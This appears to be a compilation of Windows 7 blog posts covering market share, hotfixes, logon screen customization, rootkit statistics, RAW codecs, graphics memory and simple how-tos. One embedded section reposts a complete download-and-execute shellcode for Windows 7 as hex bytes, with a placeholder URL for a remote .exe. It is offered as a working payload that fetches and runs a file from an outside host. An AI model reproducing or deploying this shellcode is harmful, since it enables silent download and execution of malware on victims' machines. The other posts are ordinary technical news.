Windows 7 surpasses 50 percent global OS market share

Recent data from analytics company StatCounter shows that Windows 7 has obtained more than half of the worldwide operating system market for the first time. The OS surpassed Windows XP as the most popular choice globally in October 2011 but it wasn’t until last month that it surpassed the 50 percent mark.

According to StatCounter, Windows Vista continues to hold the bronze medal for third place with 8.32 percent market share, although Mac OSX has been making a heavy push to capture this spot as of late, sitting at 7.05 percent at the end of June. If current trends continue, OSX will likely overtake Vista in the coming months.

Of course this is only one company’s interpretation of stats, as Net Applications claims that Windows XP still holds a 43.61 percent share of the market. Their data indicated that XP is still the top dog, just barely edging out Windows 7 at 41.59 percent. Furthermore, Vista still holds a sizeable lead of 3.6 percent market share over OSX.

CNET highlights that despite launching nearly three years ago, Windows 7 has had a slower time achieving the same popularity as Windows XP. The main reason for this is that many businesses are still holding on to XP for dear life after seeing how bad Vista was. XP is generally considered to be stable and custom business applications built for the platform would likely need to be recoded to work on 7.

Microsoft will ending support for Windows XP in April 2014 and is encouraging legacy users to upgrade to Windows 7 ASAP.

Source 

[Shellcode] Download and Execute for Windows 7

While i was searching for a working  downloader shellcode for windows 7 i found the following code fromblog.bkis.com:

blog.bkis.com:

Recently, I need a shellcode to download and execute an .exe file on Windows 7 for my experiment. However, there is not such a shellcode available.

Meanwhile, the download and execution shellcode generated by Metasploit Framework, currently, is unable to work on Windows 7, and the search on the Internet does not bring about desirable results.

With reference to the shellcode of “SkyLined” and some other shellcodes from milw0rm.com, I wrote a shellcode at my own discretion. And this is the result I would like to share with you:

Code:

shellcode[] =
“\xEB\x50\x31\xF6\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E”
“\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x67″
“\xE3\xEC\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99″
“\x02\x17\xC1\xCA\x04\xAE\x75\xF8\x3B\x54\x24\x04\xE0\xE4\x75\xCE”
“\x8B\x53\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C”
“\x97\xC3\x68\x8E\x48\x8B\x63\xE8\xA6\xFF\xFF\xFF\x66\xB8\x6C\x6C”
“\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD5\x68\x83″
“\x2B\x76\xF6\xE8\x8A\xFF\xFF\xFF\xEB\x21\x50\xFF\xD5\x68\xE7\xC4″
“\xCC\x69\xE8\x7B\xFF\xFF\xFF\x50\x4C\x4C\x4C\x4C\xFF\xD5\x68\x77″
“\xA6\x60\x2A\xE8\x6A\xFF\xFF\xFF\x50\xFF\xD5\x50\x68\x2E\x65\x78″
“\x65\x68\x43\x3A\x5C\x78\x50\x50\x89\xE3\x80\xC3\x08\x53\xE8\xC7″
“\xFF\xFF\xFFhttp://website.com/file.exe”;

As can be seen, the URL is placed at the end of the shellcode.
The shellcode was successfully experimented on Windows 7, and perhaps it can also work on Windows 2000 and later versions.

[source]

Windows 7 hotfix improves AMD Bulldozer performance

Still trying to cope with the disappointment of AMD's latest CPU architecture? A new hotfix from Microsoft might dull the pain. The software giant admits that its operating systems are hindering Bulldozer's performance and has released an update for Windows 7 and Server 2008 R2 users that should improve the situation. Current versions of Windows 7 and Server 2008 R2 are inefficient at handling Simultaneous Multithreading (SMT). Naturally, this update introduces the necessary optimizations.

The support page repeatedly notes that the hotfix will allow Bulldozer chips to unleash their full potential, but there's no indication on how much more performance you'll see. We wouldn't get too excited about it though. Windows 8 is more efficient at handling SMT scheduling and based on reports we've seen, Bulldozer performs about 10% quicker in the Windows 8 Developer Preview. Although we haven't run any tests yet (and there's probably no reason to), users are reporting a situational 1% to 10% boost.

Unfortunately, that's probably not enough to mend Bulldozer's tainted first impression, nor would we expect it to sway many purchasing decisions. Nonetheless, those already invested in the platform can enjoy a mild improvement. Installing the update sounds pretty straightforward. Make sure you're running the first service pack for the aforementioned Windows operating system and request the appropriate 32 or 64-bit version of the hotfix here. Feel free to share your performance results in the comments.

As a side note, we should mention that Microsoft has also unloaded a fresh round of Windows updates earlier this week. December's Patch Tuesday addresses 17 bugs via 13 security bulletins, three of which are deemed critical as they could allow remote code execution. One of the bulletins (MS11-087) resolves a publicly disclosed vulnerability in Windows's TrueType font-parsing engine. Windows Server 2003, Vista, 7, Server 2008, Server 2008 R2, Internet Explorer 6-9, and most versions of Office received fixes.

Windows 7 to officially support logon UI background customization

As you probably know, Windows 7 build 7057, a build recently leaked to the public, sports a new (yet ugly) login UI background. Delivering on the “more customizable” promise, Windows 7 now supports the ability to load images into the background of the login screen without the use of third-party software or manual hacks.

 
Figure 1 – Logon UI background image before and after customization.

Although this functionality was designed with OEMs in mind, it is pretty easy to turn on and off using regedit and some images lying around your hard drive.

First, a check is made to determine if the customization functionality is enabled or not. More precisely, a DWORD value named OEMBackground in theHKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Backgroundkey is checked. Its data, of Boolean type, defines whether or not this behavior is turned on, i.e. 1 for enabled, 0 for disabled. This value may not exist by default, depending on your system.

Afterwards, if customization is enabled, the primary monitor’s screen height and width are retrieved via calls to GetSystemMetrics. These values are used in the computation of the screen width (w)/height (h) ratio. For example, my desktop resolution is 1920×1200. The ratio, computed by the division of w/h, is 1.6:1.

The result of this computation is looked up in an internal table that drives what image to load on disk. It appears resolutions higher than 1920×1200 will force the loading and zooming of an image of closest compatibility (i.e. same ratio, smaller image).

As this is an OEM feature images are derived from %windir%\system32\oobe\info\backgrounds. Like the registry value, this folder may not exist by default. The following files (sorted by width-to-height ratio) are supported in this folder:

• backgroundDefault.jpg
• background768x1280.jpg  (0.6)
• background900x1440.jpg  (0.625)
• background960x1280.jpg  (0.75)
• background1024x1280.jpg (0.8)
• background1280x1024.jpg (1.25)
• background1024x768.jpg  (1.33-)
• background1280x960.jpg  (1.33-)
• background1600x1200.jpg (1.33-)
• background1440x900.jpg  (1.6)
• background1920x1200.jpg (1.6)
• background1280x768.jpg  (1.66-)
• background1360x768.jpg  (1.770833-)

NOTE: Images must be less than 256kb in size. Thanks for pushing me to investigate, Jay C.

The backgroundDefault.jpg image is loaded and stretched-to-fit when a resolution/ratio-specific background cannot be found. The other resolution/ratio-specific files are self-explanatory. If the background cannot be loaded (e.g. image physically too large, incorrect ratio, etc.), the default SKU-based image is loaded from imagesres.dll. You’ll see a Windows Server-themed grayish background in there, too, suggesting this functionality is not specific to client SKUs.

Curious Corner – The RDP client, used in the screenshots above, is simply something I put together in C#. The System Center Virtual Machine Manager client provided by Microsoft doesn’t offer the ability to control whether or not my keyboard was hooked when in windowed-mode therefore equating to an unacceptable level of suckage.

How To Remote Shutdown Windows 7

Say you have more than few computers running in a local network. And if you don’t feel like running around to turning off each computer manually you can always remotely shutdown / restart / sleep a computer in your local network.

There are command line method to do this too, but I’m going to show you an easier way.

What you need is to download this application Remote Shut Down (it works in XP, Vista and Windows 7)

What you get is this simple interface that let you to pick which computer you want to send the signal to to shutdown.

You can choose what action to take, either to let the computer ShutDown or put it into sleep or restart the computer.

Optional to display any messages, set the time and you are good to go.

One common problem that you might encounter is will telling you don’t have the administrator privilege and “ACCESS DENIED”. This case, you need to login with the account name and password, and they made it easy to do

Once you have don’t that, very soon you should get a confirmation message like the following.

Now you are all set. You can remotely control which computer you want to shutdown, restart and put it into sleep.

Windows XP is a popular home for rootkits

Free antivirus software provider Avast has released information from a six-month study which reveals that Microsoft’s Windows XP operating system is home to 74% of their customers’ rootkit infections.

Data gathered from over 600,000 Avast customers pointed to Windows XP as the most vulnerable desktop OS for rootkits. XP, which was released in 2001, is the most widely used operating system to access the Internet according to w3schools.

The dated OS was installed on 49 percent of tallied Avast customers. 38 percent of users in the study were running Windows 7 while 13 percent had Vista installed. In contrast, only 12 percent of rootkits were detected on Windows 7 machines and 17 percent were found on Vista installations.

The problem doesn’t necessarily stem from the use of Windows XP itself, but from how end users obtain and install the operating system.

“One issue with Windows XP is the high number of pirated versions, especially as users are often unable to properly update them because the software can’t be validated by the Microsoft update,” said Przemyslaw Gmerek, the Avast expert on rootkits and lead researcher.

Rootkits are malicious tools that are installed before the operating system and anti-virus software are loaded, making them very difficult to detect and remove. Attackers use rootkits to steal data and install other programs without the user even knowing anything is wrong. Other types of rootkits present bogus antivirus warnings in an attempt to swindle credit card information from the user.

Most antivirus programs are useless in detecting rootkit installations. Users who suspect they might be infected are encouraged to try rootkit-specific removal tools such as TDSSKiller or ComboFix.

Microsoft adds RAW file support to Windows 7 and Vista

Microsoft released a new camera codec package on Wednesday that supports over 100 RAW photo file formats. Once installed, RAW image files can be previewed from within Windows Explorer and Windows Live Photo Gallery 2011.

RAW image files are similar to a negative from a film-based camera. Like a film negative, these digital negatives must first be processed before they are ready to be used. As the name suggests, RAW files contain all of the information from a single photo where as a JPEG or similar compressed file loses a lot of valuable information in order to minimize file size.

Most professional photographers prefer to shoot in RAW as it offers many advantages over standard compressed formats. Some of these benefits include bypassing a camera’s automatic noise reduction and sharpening features, which can often create unwanted effects. Other benefits include the ability to fine-tune white balance, hue and saturation as you see fit, rather than relying on the camera to decide what it thinks is best for your picture.

"This new update unlocks the power of every photo on your computer so that your PC is capable of organizing, viewing and editing your digital memories, whether they were shot with a camera phone, point-and-shoot camera, or a higher end DSLR," said Brad Weed, Group Program Manager, Windows Live.

Prior to this update, viewing and editing RAW files meant you had to use a third-party application like Adobe Photoshop or FastPictureViewer. Needless to say this was a pretty painful and time-consuming process, especially if you have thousands of RAW photos on file like I do.

The codecs are available in both 32 and 64-bit versions and can be downloaded directly from Microsoft’s website. Windows 7 and Vista Service Pack 2 are supported under this release

Why Win 7 Shared Graphics Ram

Allowing for more parallelism in the GDI will noticeably make things more responsive, but that wasn’t the only evolution that the software team made for the new OS. Windows 7 will now be more efficient in its use of RAM, which will have the positive effect of making everything run smoother – particularly on systems with shared graphics memory.

In Windows Vista, the more application windows you had open, the more memory required. Every window accounts for two memory allocations – one in video memory and one in system memory – which hold identical content.

The DWM (desktop window manager) is responsible for drawing the desktop with the GPU, which obviously requires the application window data in video memory. The same application window data is duplicated again in system RAM for the CPU to render independent of graphics hardware. This was inefficient obviously because of data redundancy.

Windows 7 changes this by getting rid of the system memory copy entirely, which effectively cuts the memory consumed in half. Unlike the changes to the GDI stack detailed earlier, this new memory-saving behavior requires new drivers.

“We achieved the reduction in system memory by accelerating the common GDI operations through the graphics hardware - the WDDM drivers accelerate these to minimize the performance impact of the CPU read-back of video memory,” explained Ameet Chitre, a program manager on Microsoft’s Desktop Graphics feature team. “Since you save a lot of system memory, the paging activity gets reduced – as a result, your system responsiveness improves for the same workload.”

The new drivers that support the memory-saving change are designated WDDM 1.1. Older Windows Vista WDDM 1.0 drivers will still work fine with Windows 7, but do not take advantage of the new feature.

This change positively impacts real-world usability, but benchmarks may show a degradation in performance since the CPU has to fetch data from video RAM.

“The elimination of the duplicate system memory copies which ‘speed up’ certain operations introduced slightly reduced performance as the CPU now has to read data back from the video memory. An analysis of real-world application statistics showed that these operations were rare,” Chitre said. “Our observation has been that these slow-downs do not impact the end-user functionality directly and that the memory savings directly result in Windows 7 being much responsive overall. The improvements overall are definitely noticeable on memory constrained PCs with shared memory graphics.”

How To Change Command Prompt Text And Background Color In Windows 7

Command Prompt in the latest version of Windows is more powerful than in earlier versions of Windows. Even though many users rarely open Command Prompt, some of you might be interested in customizing Command Prompt text and background color.

If you love customizing your Windows 7, you can easily personalize Command Prompt text and background color without using third-party utilities. In this guide, we will show you how to customize text and background color of Command Prompt in Windows 7.

1. Open Command Prompt.

2. Right-click on the title bar and select Properties.

3. Switch to Colors tab. Select your desired color for screen text, screen background, popup text, and popup background. Finally, click Ok button to see the change.

4. Once done, close the Command Prompt. Good luck!

How to unhide a drive or partition after installing Windows 7 Windows XP

When u install windows 7 or earlier version, sometimes, one or more of your hard disk partition doesn’t appear and is not accessible from my computer. Don’t think your partition is lost or the files on your partition is gone forever. TO get your drive partition back, just follow these steps :

Right click on my computer – select Manage – Chose disk Management – Now you’ll see all your partition and drives listed there in the right pane – Find and identify the drive which is hidden or not shown in my computer – Right click on the partition – chose add drive letter and path / change drive letter and path – assign a new drive letter from the drop down box – Ok

You are done. Now you’ll see the hidden drive or partition listed back in your computer window.

Tips: Use disk management tool as mentioned about above to extend and shrink hard disk partition size.